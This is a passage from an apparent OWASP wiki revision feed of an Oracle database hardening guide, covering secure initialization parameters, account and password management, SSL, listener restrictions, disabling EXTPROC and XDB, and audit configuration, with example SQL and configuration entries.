         […]&lt;br /&gt;
   Services Summary...&lt;br /&gt;
   Service &amp;quot;PLSExtProc&amp;quot; has 1 instance(s).&lt;br /&gt;
  	 Instance &amp;quot;PLSExtProc&amp;quot;, status UNKNOWN, has 1 handler(s) for this service...&lt;br /&gt;
         […]&lt;br /&gt;
&lt;br /&gt;
Otherwise, the configuration is correct!&lt;br /&gt;
&lt;br /&gt;
If, instead, the EXTPROC functionality is required in your environment, configure a Oracle Net Listener for PL/SQL EXTPROC with an IPC (recommended) or TCP protocol address. &lt;br /&gt;
It is a good idea to enforce the network address restrictions when you use the TCP protocol address.&lt;br /&gt;
&lt;br /&gt;
=== Inbound connection timeout ===&lt;br /&gt;
&lt;br /&gt;
The amount of time the listener waits for a network client to complete the connection request should be manage to prevent a denial of service attack.&lt;br /&gt;
The name of parameter to set to configure inbound connection timeout and the name of the file of configuration, depends on Oracle version.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
To enable logging on the listener, use Net Manager utility or modify the listener.ora file on server machine.&lt;br /&gt;
At the end, the listener.ora file should contain the follow entries: &lt;br /&gt;
&lt;br /&gt;
   LOGGING_&amp;lt;listener name&amp;gt; = ON&lt;br /&gt;
   LOG_DIRECTORY_&amp;lt;listener name&amp;gt; = &amp;lt;log directory location&amp;gt;&lt;br /&gt;
   LOG_FILE_&amp;lt;listener name&amp;gt; = &amp;lt;log file name&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Audit ==&lt;br /&gt;
&lt;br /&gt;
To properly protect database access the auditing of user database activities should be implemented in order to identify any suspicious activity or to check if an user has more privileges than expected.&lt;br /&gt;
&lt;br /&gt;
=== Start Audit Service ===&lt;br /&gt;
&lt;br /&gt;
To start the audit service execute “cataudit.sql” as SYS account. Then, choose if it is wanted to store the audit record to DataBase or Operating System file by setting the parameter “AUDIT_TRAIL” to DB or OS. The database audit trail is a single table named SYS.AUD$, but there are predefined views that help to use the information in this table, while as regard operating system audit trail the audit records are written into the directory that you choose by setting the “AUDIT_FILE_DEST” parameter.&lt;br /&gt;
&lt;br /&gt;
=== Enable Audit ===&lt;br /&gt;
&lt;br /&gt;
Once you start the audit service, it is possible choose to audit the sys operation by setting the AUDIT_SYS_OPERATION to TRUE. So that, Oracle Database audit connections to the database with administrator privileges, database startup and shutdown.&lt;br /&gt;
Then, it is possible enable other options, by using AUDIT SQL statement:&lt;br /&gt;
&lt;br /&gt;
* Statement Auditing.&lt;br /&gt;
* Privilege Auditing.&lt;br /&gt;
* Schema Object Auditing.&lt;br /&gt;
&lt;br /&gt;
An example to audit some activities on table “test” owned by OWASP (Schema Object Auditing):&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; AUDIT INSERT, UPDATE, DELETE ON owasp.test BY ACCESS;&lt;br /&gt;
&lt;br /&gt;
Oracle Database allow to write a single audit record for all SQL statements in the same session, using the “by session” option in the audit SQL command or to write one record for each access, using the “by access” option.&lt;br /&gt;
Then, Oracle Database allows, also, to write the successful executions of statements, using the “whenever successful” option in the audit SQL command or unsuccessful attempts to execute statements, using the “whenever not successful”.&lt;br /&gt;
&lt;br /&gt;
=== Disable Audit ===&lt;br /&gt;
&lt;br /&gt;
To turn off an audit option use the statement “NOAUDIT”, such as:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; NOAUDIT ALL PRIVILEGES;&lt;br /&gt;
&lt;br /&gt;
=== Check Audit ===&lt;br /&gt;
&lt;br /&gt;
When using the database audit trail use the “SELECT” statement from the follow view to show the enabled audit:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Type of Audit !! View Name &lt;br /&gt;
|-&lt;br /&gt;
| Default Auditing || ALL_DEF_AUDIT_OPTS&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Statment Auditing || DBA_STMT_AUDIT_OPTS&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Object Auditing || DBA_OBJ_AUDIT_OPTS&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Privilege Auditing || DBA_PRIV_AUDIT_OPT&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
An example:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT * FROM DBA_STMT_AUDIT_OPTS;&lt;br /&gt;
&lt;br /&gt;
 USER_NAME                    AUDIT_OPTION                 SUCCESS              FAILURE&lt;br /&gt;
 --------------------         -------------------          ----------           ---------&lt;br /&gt;
 OWASP		              SESSION 		           BY SESSION 	        BY SESSION&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[1] The Oracle Hacker's Handbook: Hacking and Defending Oracle by David Litchfield &lt;br /&gt;
&lt;br /&gt;
[2] The Database Hacker's Handbook: Defending Database Servers by David Litchfield&lt;br /&gt;
&lt;br /&gt;
[3] Database Security Technical Implementation Guide by DISA for the DOD&lt;br /&gt;
&lt;br /&gt;
[4] Oracle Database Security Guide by Oracle Corporation&lt;br /&gt;
&lt;br /&gt;
[5] Oracle Database Security Checklist by Oracle Corporation&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Oracle_Hardening&amp;diff=45077</id>
		<title>OWASP Backend Security Project Oracle Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Oracle_Hardening&amp;diff=45077"/>
				<updated>2008-10-29T14:52:34Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
=== Initialization parameters ===&lt;br /&gt;
&lt;br /&gt;
This section covers the Oracle Initialization parameters that are relevant for the security. All the following initialization parameters have to be specified for all Oracle instances. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Parameter name !! Description !! Security value &lt;br /&gt;
|-&lt;br /&gt;
| REMOTE_OS_AUTHENTICATION || This parameter should be set to FALSE to deny the authentication of remote clients by operating system. || FALSE&lt;br /&gt;
|-&lt;br /&gt;
| REMOTE_LOGIN_PASSWORDFILE || This parameter should be set to NONE, but if this functionality is required set the parameter EXCLUSIVE to make it more secure considering that the password file can be used by only one database. || NONE&lt;br /&gt;
|-&lt;br /&gt;
| RESOURCE_LIMIT || This parameter should be set to TRUE to enforce other parameter about resource limitsuch as idle time limits. The default is FALSE.&lt;br /&gt;
 || TRUE&lt;br /&gt;
|-&lt;br /&gt;
| REMOTE_OS_ROLES || This parameter should be set to FALSE to deny the operating system groups to control Oracle roles. || FALSE  &lt;br /&gt;
|-&lt;br /&gt;
| OS_ROLES || This parameter should be set to FALSE to configure Oracle to identify and manage the roles.&lt;br /&gt;
Default value false.&lt;br /&gt;
 || FALSE  &lt;br /&gt;
|-&lt;br /&gt;
| UTL_FILE_DIR || This parameter should be set to NULL to specify any directories that Oracle should use for PL/SQL file I/O.&lt;br /&gt;
 || NULL &lt;br /&gt;
|-&lt;br /&gt;
| USER_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server stores debugging trace file of a user process || &amp;lt;Protected Directory&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| BACKGROUND_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server writes debugging trace file of background process || &amp;lt;Protected Directory&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CORE_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server dumps core files.|| &amp;lt;Protected Directory&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Example SQL for setting the REMOTE_OS_AUTHENTICATION parameter:&lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; ALTER SYSTEM SET REMOTE_OS_AUTHENTICATION = FALSE SCOPE=BOTH&lt;br /&gt;
&lt;br /&gt;
Scope:&lt;br /&gt;
* MEMORY: This value changes the instance immediately, but the configuration is lost after a restart. &lt;br /&gt;
* SPFILE: This value does NOT change the instance immediately, but a restart is necessary to take effect. &lt;br /&gt;
* BOTH: This value changes the instance immediately as well as the spfile. &lt;br /&gt;
&lt;br /&gt;
=== Operating system security ===&lt;br /&gt;
&lt;br /&gt;
==== Owner account ====&lt;br /&gt;
&lt;br /&gt;
The Oracle OS installation account, owner of all Oracle application and datafiles, should be used only for the update and the maintenance of the Oracle software and should not be used during the standard DBA activities. The individual DBAs will have to use their assigned OS personal accounts, so the auditing process will be able to actions performed with the correct OS account. The Oracle software installation account will not be a member of the administrative group.&lt;br /&gt;
&lt;br /&gt;
==== Files and directories ====&lt;br /&gt;
&lt;br /&gt;
All files and directories generated during the installation process of Oracle should be restricted to the Oracle software owner and the DBA user group, especially the files listed below: &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File name !! Description &lt;br /&gt;
|-&lt;br /&gt;
| init.ora and/or init&amp;lt;SID&amp;gt;.ora&lt;br /&gt;
Spfile.ora&lt;br /&gt;
 || The file houses Oracle initialization parameter files. Replace SID with the name of your SID.&lt;br /&gt;
|-&lt;br /&gt;
| orapw&amp;lt;SID&amp;gt; || The file contain SYS password and the password of accounts granted the SYSDBA or SYSOPER role. Replace SID with the name of your SID.&lt;br /&gt;
|-&lt;br /&gt;
| listener.ora || The file houses listener configuration parameters and password.&lt;br /&gt;
|-&lt;br /&gt;
| snmp_rw.ora || The file contains the password for the DBSNMP database account in cleartext.&lt;br /&gt;
|-&lt;br /&gt;
| snmp_ro.ora || The file houses configuration information for the Oracle Intelligent Agent.&lt;br /&gt;
|-&lt;br /&gt;
| sqlnet.ora || The file contains network configuration information for the host database and listener.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Other accounts should be denied to access except to executables under the “bin” directory although the permission of all files stored in the “bin” directory should be configured in order to be owned by the Oracle software installation account.&lt;br /&gt;
&lt;br /&gt;
=== Patching ===&lt;br /&gt;
The Oracle Database should be kept up to date therefore, periodically, the Oracle Technology Network web site should be checked (http://otn.oracle.com/deploy/security/alerts.htm) to keep up on security alerts issued from Oracle Corporation in regard to all installed components. &lt;br /&gt;
Sometime, there are public vulnerabilities about Oracle software without a patch so it is a good idea subscribe to the security mailing lists so that it would be possible to catch those new security issues and to find a way to mitigate the risk of a new vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Account management ==&lt;br /&gt;
&lt;br /&gt;
=== Lock and expire unused accounts ===&lt;br /&gt;
&lt;br /&gt;
A number of default database server user accounts are create during the installation process so, if the Database Configuration Assistant is not used, default database user accounts should be all locked and expired. Unlock only those accounts that need to be accessed on a regular basis and assign a strong password to each of these unlocked accounts. &lt;br /&gt;
&lt;br /&gt;
Example SQL for reviewing the Oracle Default Accounts with status “OPEN”: &lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; SELECT &amp;lt;user_name&amp;gt; FROM dba_users WHERE account_status &amp;lt;&amp;gt; ’OPEN’ ORDER BY &amp;lt;user_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
Example SQL for Locking Accounts: &lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; ALTER USER &amp;lt;user_name&amp;gt; ACCOUNT LOCK;&lt;br /&gt;
&lt;br /&gt;
=== Change default password ===&lt;br /&gt;
&lt;br /&gt;
The major weakness concerning the password is that some user default accounts, after the installation, still have a default password associated, the passwords of all default accounts should be reviewed (SYS, SYSTEM, DBSNMP, OUTLN and so on) and changed if necessary.  &lt;br /&gt;
&lt;br /&gt;
=== Enforce password policy ===&lt;br /&gt;
&lt;br /&gt;
The password policy should be enforced by password verification function setting password parameter (list below) and providing password complexity feature like minimum length, password not same as the username, the password contains repeating characters, the password differs from the previous password by at least a certain number of letters. &lt;br /&gt;
&lt;br /&gt;
Example SQL  for setting a password verification function to a profile:&lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; CREATE PROFILE &amp;lt;profile_name&amp;gt; LIMIT PASSWORD_VERIFICATION_FUCTION &amp;lt;function_name&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example SQL  for assigning profile profile to a user:&lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; CREATE USER &amp;lt;user_name&amp;gt; IDENTIFIED BY &amp;lt;password&amp;gt; PROFILE &amp;lt;profile_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
=== Privileges and Roles ===&lt;br /&gt;
&lt;br /&gt;
Due to the great number and variety of applications that make use of the database, it’s difficult to define in advance which kind of privilege have to be granted to a user. In order to make this choice, could be a good practice the “principle of least privilege”, that is not providing database users, especially PUBLIC, more privileges than necessary.&lt;br /&gt;
&lt;br /&gt;
The user privileges are split in System Privileges and Object Privileges, you can grant privileges to users explicitly:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; TO &amp;lt;user_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;system_privilege&amp;gt; TO &amp;lt;user_name&amp;gt; [WITH ADMIN OPTION];&lt;br /&gt;
&lt;br /&gt;
Where “WITH ADMIN OPTION” means that the new user can grant the same system privilege to another user. &lt;br /&gt;
&lt;br /&gt;
Also, you can grant privileges to a role (recommended), a group of privileges:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; TO &amp;lt;role_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;system_privilege&amp;gt; TO &amp;lt;role_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
and then you should grant the role to users:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;role_name&amp;gt; TO &amp;lt;user_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
Periodically, is better to review the privileges (system and object) of the all database user. As an example, it is possible to use the following SQL script by executing as a user with the right privileges in order to review the system privilege (only) of specific user:&lt;br /&gt;
&lt;br /&gt;
 set pagesize 0&lt;br /&gt;
 set head off&lt;br /&gt;
 set feed off&lt;br /&gt;
 set linesize 240&lt;br /&gt;
 set trimspool on&lt;br /&gt;
 col ord noprint&lt;br /&gt;
 set echo off&lt;br /&gt;
 accept username prompt' Insert a value for username:'&lt;br /&gt;
 SELECT LPAD(' ', 2*level) || granted_role &amp;quot;USER PRIVS&amp;quot;&lt;br /&gt;
 FROM (&lt;br /&gt;
    SELECT NULL grantee,  username granted_role&lt;br /&gt;
    FROM dba_users&lt;br /&gt;
    WHERE username LIKE UPPER('&amp;amp;&amp;amp;username')&lt;br /&gt;
    UNION&lt;br /&gt;
    SELECT grantee, granted_role&lt;br /&gt;
    FROM dba_role_privs&lt;br /&gt;
    UNION&lt;br /&gt;
    SELECT grantee, privilege&lt;br /&gt;
    FROM dba_sys_privs)&lt;br /&gt;
 START WITH grantee IS NULL&lt;br /&gt;
 CONNECT BY grantee = prior granted_role;&lt;br /&gt;
&lt;br /&gt;
An example of output:&lt;br /&gt;
&lt;br /&gt;
  Insert a value for username: owasp&lt;br /&gt;
  OWASP&lt;br /&gt;
    CONNECT&lt;br /&gt;
      CREATE SESSION&lt;br /&gt;
    RESOURCE&lt;br /&gt;
      CREATE CLUSTER&lt;br /&gt;
      CREATE INDEXTYPE&lt;br /&gt;
      CREATE OPERATOR&lt;br /&gt;
      CREATE PROCEDURE&lt;br /&gt;
      CREATE SEQUENCE&lt;br /&gt;
      CREATE TABLE&lt;br /&gt;
      CREATE TRIGGER&lt;br /&gt;
      CREATE TYPE&lt;br /&gt;
    UNLIMITED TABLESPACE&lt;br /&gt;
&lt;br /&gt;
Afterward revoke the privileges that is not necessary from user:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;system_privilege&amp;gt; FROM &amp;lt;user_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; FROM &amp;lt;user_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
or from role:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;system_privilege&amp;gt; FROM &amp;lt;role_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; FROM &amp;lt;role_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
=== Automated processing database accounts ===&lt;br /&gt;
&lt;br /&gt;
The major weakness using batch jobs is to manage user names and passwords in fact, typically, it connects to databases by using directly the command sqlplus:&lt;br /&gt;
&lt;br /&gt;
       sqlplus -s &amp;lt;user_name&amp;gt;/&amp;lt;password&amp;gt;@&amp;lt;TNS alias&amp;gt; &amp;lt;&amp;lt; EOF&lt;br /&gt;
       &amp;lt;SQL statement&amp;gt;&lt;br /&gt;
       EOF&lt;br /&gt;
&lt;br /&gt;
In this way it is possible to see the username and password in clear text by using the command to check the process status, such as “ps” command in a unix environment. &lt;br /&gt;
To avoid it could be used a standard CONNECT statement within batch jobs, like this: &lt;br /&gt;
&lt;br /&gt;
       sqlplus /nolog &amp;lt;&amp;lt; EOF&lt;br /&gt;
       CONNECT &amp;lt;user_name&amp;gt;/&amp;lt;password&amp;gt;&lt;br /&gt;
       &amp;lt;SQL statement&amp;gt;&lt;br /&gt;
       EOF&lt;br /&gt;
&lt;br /&gt;
IIn this last case it is suggested to save the crypted password in a well protected configuration file and then decrypt them just before execute the CONNECT statement. &lt;br /&gt;
Another (recommended) possibility is to delegate the password management to a guaranteed third part as Secure External Password Store provided by Oracle Advanced Security component that save the credentials in a secure way. &lt;br /&gt;
When the clients are configured to use the secure external password store, batch jobs can connect to a database replacing the login credentials with an alias (database connection string) stored into container (named wallet).&lt;br /&gt;
&lt;br /&gt;
To enable clients to use the external password store the first thing to do is to create an Oracle wallet with the autologin feature (access to wallet contents not require a password ) by using the follow command from OS command prompt:&lt;br /&gt;
&lt;br /&gt;
        mkstore -wrl &amp;lt;wallet_location&amp;gt; -create&lt;br /&gt;
&lt;br /&gt;
Then, you should create database connection credentials in the wallet:&lt;br /&gt;
&lt;br /&gt;
        mkstore -wrl &amp;lt;wallet_location&amp;gt; -createCredential &amp;lt;db_connect_string&amp;gt; &amp;lt;user_name&amp;gt; &amp;lt;password&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After the wallet is ready, you should force the client to use the information stored in the “secure password store” to authenticate to databases by configuring sqlnet.ora file. &lt;br /&gt;
&lt;br /&gt;
Example of entries to add in sqlnet.ora file:&lt;br /&gt;
&lt;br /&gt;
        WALLET_LOCATION =&lt;br /&gt;
        (SOURCE =&lt;br /&gt;
        (METHOD = FILE)&lt;br /&gt;
        (METHOD_DATA =&lt;br /&gt;
        (DIRECTORY = &amp;lt;wallet_location&amp;gt;)&lt;br /&gt;
        )&lt;br /&gt;
        )&lt;br /&gt;
        SQLNET.WALLET_OVERRIDE = TRUE&lt;br /&gt;
&lt;br /&gt;
The same configuration are possible to do by using Oracle Wallet Manager.&lt;br /&gt;
&lt;br /&gt;
Following this way the risk is reduced because passwords are not exposed in the clear-text considering the applications can connect to a database with the following CONNECT statement syntax:&lt;br /&gt;
&lt;br /&gt;
        connect /@&amp;lt;db_connect_string&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where “db_connect_string” is the database connection credential, created before.&lt;br /&gt;
&lt;br /&gt;
== Network security ==&lt;br /&gt;
&lt;br /&gt;
=== Encrypt network logins ===&lt;br /&gt;
&lt;br /&gt;
The password information in a connection request should be encrypted to protect against network eavesdropping. The value of the follow parameter should be review:&lt;br /&gt;
&lt;br /&gt;
   ORA_ENCRYPT_LOGIN (on the client machine)&lt;br /&gt;
   DBLINK_ENCRYPT_LOGIN (on the server machine)&lt;br /&gt;
&lt;br /&gt;
Once these parameters have been set to TRUE, passwords will be encrypted in connection requests.&lt;br /&gt;
Note that on Oracle version 9.02 and later these parameter are not available, in fact it encrypts automatically the password information when transmitting over a network, although the setting or changing of passwords is NOT encrypted when across the network.&lt;br /&gt;
&lt;br /&gt;
=== Protect network communications ===&lt;br /&gt;
&lt;br /&gt;
Consider configuring the Oracle Advanced Security component to use Secure Socket Layer (SSL) encrypting network traffic between clients and databases to avoid network eavesdropping.&lt;br /&gt;
Below, you can see an example of a basic configuration:&lt;br /&gt;
&lt;br /&gt;
==== Server side ====&lt;br /&gt;
&lt;br /&gt;
To enable SSL database connection it would be correct to create an Oracle wallet (with the autologin feature) and generate a certificate request by using Wallet Manager component. Then it should be sent to the Certificate Authority; when the CA trusted and the user certificate is received, these certificate should be imported into the wallet. Then configure the Oracle Advanced Security component by using the Net Manager utility (recommended) or modify the sqlnet.ora and listener.ora file. At the end, the sqlnet.ora and listener.ora files should contain the following entries:&lt;br /&gt;
&lt;br /&gt;
  WALLET_LOCATION = &lt;br /&gt;
    (SOURCE =&lt;br /&gt;
   	(METHOD = FILE)&lt;br /&gt;
   	(METHOD_DATA =&lt;br /&gt;
   		(DIRECTORY = &amp;lt;wallet_location&amp;gt; )&lt;br /&gt;
         )&lt;br /&gt;
     )&lt;br /&gt;
   SSL_CLIENT_AUTHENTICATION = FALSE&lt;br /&gt;
   SQLNET.AUTHENTICATION_SERVICES= (TCPS)&lt;br /&gt;
&lt;br /&gt;
==== Client side ====&lt;br /&gt;
&lt;br /&gt;
After the wallet is configured, the client should be configured to use SSL connection to connect to databases by configuring sqlnet.ora file. Example of entries to add in sqlnet.ora file: &lt;br /&gt;
&lt;br /&gt;
  WALLET_LOCATION = &lt;br /&gt;
    (SOURCE =&lt;br /&gt;
  	(METHOD = FILE)&lt;br /&gt;
  	(METHOD_DATA =&lt;br /&gt;
   		(DIRECTORY = &amp;lt;wallet_location&amp;gt; )&lt;br /&gt;
         )&lt;br /&gt;
    )&lt;br /&gt;
  SSL_SERVER_DN_MATCH = OFF&lt;br /&gt;
  SSL_CLIENT_AUTHENTICATION = FALSE&lt;br /&gt;
  SQLNET.AUTHENTICATION_SERVICES= (TCPS)&lt;br /&gt;
&lt;br /&gt;
Now, a network connection to the SSL listener should be configured by configuring the tnsname.ora file:&lt;br /&gt;
&lt;br /&gt;
  SSL =&lt;br /&gt;
  (DESCRIPTION =&lt;br /&gt;
  (ADDRESS_LIST =&lt;br /&gt;
  (ADDRESS = (PROTOCOL = TCPS)(HOST = &amp;lt;host_name&amp;gt;)(PORT = &amp;lt;port&amp;gt;))&lt;br /&gt;
   )&lt;br /&gt;
   (CONNECT_DATA =&lt;br /&gt;
   (SID = &amp;lt;SID_name&amp;gt;)&lt;br /&gt;
  )&lt;br /&gt;
  )&lt;br /&gt;
&lt;br /&gt;
=== XML database (XDB) protocol server ===&lt;br /&gt;
&lt;br /&gt;
The XML Database (XDB) offers access to the Oracle XML DB resources using the standard Internet protocols FTP, listening on TCP port 2100, and HTTP, listening on TCP port 8080. &lt;br /&gt;
The Oracle XML DB Protocol Server is a specific type of Oracle shared server dispatcher and is specified in the Oracle database initialization parameter file for startup, so if XDB is not used it should be turned off editing the init&amp;lt;SID&amp;gt;.ora or spfile&amp;lt;SID&amp;gt;.ora (replace SID with the name of your SID) file and remove or comment the follow line: &lt;br /&gt;
&lt;br /&gt;
  dispatchers=&amp;quot;(PROTOCOL=TCP) (SERVICE=&amp;lt;SID&amp;gt;XDB)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
If access via the Internet protocols is required, logging should be enabled by setting the “ftp-log-level” and “http-log-level” parameters to a value of 1 in xdbconfig.xml file.&lt;br /&gt;
&lt;br /&gt;
== Oracle TNS Listener security ==&lt;br /&gt;
&lt;br /&gt;
=== Password ===&lt;br /&gt;
&lt;br /&gt;
A listener password should be set at the end of listener configuration process to avoid from unauthorized start, stop, and configure. The password will be stored in encrypted format within the listener.ora file by using the LSNRCTL utility:&lt;br /&gt;
&lt;br /&gt;
   LSNRCTL&amp;gt; set current_listener &amp;lt;listener_name&amp;gt;&lt;br /&gt;
   LNSRCTL&amp;gt; set password&lt;br /&gt;
   Password: (type &amp;quot;enter&amp;quot; if it is the first time)&lt;br /&gt;
   The command completed successfully&lt;br /&gt;
   LSNRCTL&amp;gt; change_password&lt;br /&gt;
   Old password: (type &amp;quot;enter&amp;quot;)&lt;br /&gt;
   New password: &amp;lt;new_password&amp;gt;&lt;br /&gt;
   Reenter new password: &amp;lt;new_password&amp;gt;&lt;br /&gt;
   […]&lt;br /&gt;
   The command completed successfully&lt;br /&gt;
   LSNRCTL&amp;gt; save_config (important to save the configuration)&lt;br /&gt;
   […]&lt;br /&gt;
   Saved LISTENER configuration parameters.&lt;br /&gt;
   Listener Parameter File […]&lt;br /&gt;
   Old Parameter File […]&lt;br /&gt;
   The command completed successfully&lt;br /&gt;
   LSNRCTL&amp;gt; exit&lt;br /&gt;
&lt;br /&gt;
=== Admin restrictions ===&lt;br /&gt;
&lt;br /&gt;
The remote administration of the Oracle listener should be prevented by setting to TRUE the  ADMIN_RESTRICTIONS parameter in the listener.ora file:&lt;br /&gt;
&lt;br /&gt;
   ADMIN_RESTRICTIONS_&amp;lt;listener_name&amp;gt; = TRUE&lt;br /&gt;
&lt;br /&gt;
=== Network address restriction ===&lt;br /&gt;
&lt;br /&gt;
The network address restrictions should be enforced by the Oracle listener to further protect the database from unauthorized remote access, especially when the PLSQL EXTPROC is in use. To enable network address restriction, edit the SQLNET.ORA to add the follow line:&lt;br /&gt;
&lt;br /&gt;
   TCP.VALIDNODE_CHECKING = YES&lt;br /&gt;
&lt;br /&gt;
Then, to define TCP/IP addresses that are allowed to connect to database add the follow line:&lt;br /&gt;
&lt;br /&gt;
   TCP.INVITED_NODES = &amp;lt;list of IP addresses&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At the end, to defines TCP/IP addresses that are refused connections to the database set the follow parameter&lt;br /&gt;
&lt;br /&gt;
   TCP.EXCLUDED_NODES = &amp;lt;list of IP addresses&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== External procedures ===&lt;br /&gt;
&lt;br /&gt;
The EXTPROC functionality is used by PL/SQL component to make calls to the operating system and to load necessary library to execute external procedure, but if the Oracle Database server is not properly patched it even could allow unauthorized administrative access to the server machine through the Oracle Listener. If the EXTPROC functionality is not required, it has to be disabled by editing the tnsname.ora and listener.ora files and removing the entries regarding this functionality.&lt;br /&gt;
&lt;br /&gt;
Example of entries to remove in tnsname.ora file:&lt;br /&gt;
&lt;br /&gt;
  […]&lt;br /&gt;
     EXTPROC_CONNECTION_DATA =&lt;br /&gt;
     (DESCRIPTION =&lt;br /&gt;
     (ADDRESS_LIST =&lt;br /&gt;
        (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))&lt;br /&gt;
      )&lt;br /&gt;
      (CONNECT_DATA =&lt;br /&gt;
        (SID = PLSExtProc)&lt;br /&gt;
        (PRESENTATION = RO)&lt;br /&gt;
      )&lt;br /&gt;
     )&lt;br /&gt;
  […]&lt;br /&gt;
&lt;br /&gt;
Example of entries to remove in listener.ora file:&lt;br /&gt;
&lt;br /&gt;
  […]&lt;br /&gt;
      (ADDRESS_LIST =&lt;br /&gt;
         (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))&lt;br /&gt;
       )&lt;br /&gt;
  […]&lt;br /&gt;
&lt;br /&gt;
  […]&lt;br /&gt;
     (SID_DESC =&lt;br /&gt;
       (SID_NAME = PLSExtProc)&lt;br /&gt;
       (ORACLE_HOME = […])&lt;br /&gt;
      )&lt;br /&gt;
  […]&lt;br /&gt;
&lt;br /&gt;
After that restart the Oracle Net listener process. &lt;br /&gt;
Then check if the configuration take effect by using the operation status in LSNRCTL command, and review the configuration if the last command display the follow lines: &lt;br /&gt;
&lt;br /&gt;
   Listening Endpoints Summary...&lt;br /&gt;
         (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))&lt;br /&gt;
         […]&lt;br /&gt;
   Services Summary...&lt;br /&gt;
   Service &amp;quot;PLSExtProc&amp;quot; has 1 instance(s).&lt;br /&gt;
  	 Instance &amp;quot;PLSExtProc&amp;quot;, status UNKNOWN, has 1 handler(s) for this service...&lt;br /&gt;
         […]&lt;br /&gt;
&lt;br /&gt;
Otherwise, the configuration is correct!&lt;br /&gt;
&lt;br /&gt;
If, instead, the EXTPROC functionality is required in your environment, configure a Oracle Net Listener for PL/SQL EXTPROC with an IPC (recommended) or TCP protocol address. &lt;br /&gt;
It is a good idea to enforce the network address restrictions when you use the TCP protocol address.&lt;br /&gt;
&lt;br /&gt;
=== Inbound connection timeout ===&lt;br /&gt;
&lt;br /&gt;
The amount of time the listener waits for a network client to complete the connection request should be manage to prevent a denial of service attack.&lt;br /&gt;
The name of parameter to set to configure inbound connection timeout and the name of the file of configuration, depends on Oracle version.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
To enable logging on the listener, use Net Manager utility or modify the listener.ora file on server machine.&lt;br /&gt;
At the end, the listener.ora file should contain the follow entries: &lt;br /&gt;
&lt;br /&gt;
   LOGGING_&amp;lt;listener name&amp;gt; = ON&lt;br /&gt;
   LOG_DIRECTORY_&amp;lt;listener name&amp;gt; = &amp;lt;log directory location&amp;gt;&lt;br /&gt;
   LOG_FILE_&amp;lt;listener name&amp;gt; = &amp;lt;log file name&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Audit ==&lt;br /&gt;
&lt;br /&gt;
